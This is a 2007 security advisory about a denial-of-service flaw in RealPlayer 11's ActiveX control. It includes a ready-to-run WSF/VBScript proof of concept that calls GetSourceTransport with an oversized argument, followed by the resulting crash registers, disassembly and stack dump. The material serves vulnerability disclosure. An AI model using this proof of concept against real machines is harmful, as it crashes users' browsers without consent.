+-----------------------------------------------------------------. Affected : Realplayer 11 ActiveX on Win Vista and Win XP SP2 :
Type : DOS Attack : Date : 28-11-2007 : Author : Adonis, Abed : Link : http://www.safehack.com/Advisory/realpdos.txt : +-----------------------------------------------------------------. : +-------------. : Brief History \ : +---------------`-------------------------------------------------. GetSourceTransport() fails to handle exceptional conditions, which: leads to a DoS (Denial of Service) attack. : : GetSourceTransport() is found in rmoc3260.dll which is installed : with RealPlayer 11. : : Note: This ActiveX can be loaded by IE or any other browser. : : Successful exploitation will lead to a remote crash in IE 6/7. : : +-----------. : The Problem \ : +-------------`---------------------------------------------------. RealPlayer 11 ActiveX DoS Proof-of-Concept : : : -:PoC:- : 1- Copy and past the following code into filepoc.wsf : 2- Run it by double clicking on it : ---------------------------------------------------snip-----------: <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' id='target' /> <script language='vbscript'> targetFile = "C:\Windows\system32\rmoc3260.dll" prototype = "Function GetSourceTransport ( ByVal nSourceNum As Integer ) As String" memberName = "GetSourceTransport" progid = "RealAudioObjects.RealAudio" argCount = 1 arg1=32767 target.GetSourceTransport arg1 </script></job></package> ---------------------------------------------------snip-----------: Registers: -------------------------------------------------- EIP 637F4A02 -> 00000000 EAX 0022EC44 -> 00000000 EBX 663CCB38 -> 663B7400 -> Uni: t;ft;f ECX 0022EC44 -> 00000000 EDX 01536388 -> 638416B8 EDI 00000000 ESI 00000000 EBP 0022EC68 -> 0022EC78 ESP 0022EC3C -> 00000000 Block Disassembly: -------------------------------------------------- 637F49F2 JE SHORT 637F49F8 637F49F4 MOV ESI,EAX 637F49F6 JMP SHORT 637F49FA 637F49F8 XOR ESI,ESI 637F49FA LEA ECX,[EBP-24] 637F49FD CALL 6381C1F0 637F4A02 MOV EDX,[ESI] <--- CRASH 637F4A04 LEA EAX,[EBP-4] 637F4A07 PUSH EAX 637F4A08 PUSH 638427D8 637F4A0D PUSH ESI 637F4A0E CALL [EDX] 637F4A10 MOV EAX,[EBP+8] 637F4A13 SUB EAX,46 637F4A16 JE 637F4B28 Stack Dump: -------------------------------------------------- 22EC3C 00 00 00 00 F4 EC 22 00 00 00 00 00 F4 EC 22 07 [................] 22EC4C C0 6D 53 01 00 00 00 00 30 ED 22 00 00 00 00 00 [.mS.............] 22EC5C 00 00 00 00 DC 9A 2B 00 00 00 00 00 78 EC 22 00 [................] 22EC6C A8 C7 7F 63 47 00 00 00 FF 7F 00 00 90 EC 22 00 [...cG...........] 22EC7C 8E 48 3B 66 88 63 53 01 47 00 00 00 FF 7F 00 00 [.H.f.cS.G.......] : : Peace to you all:all and Happy New Year full of health and Peace : +-----------------------------------------------------------------.
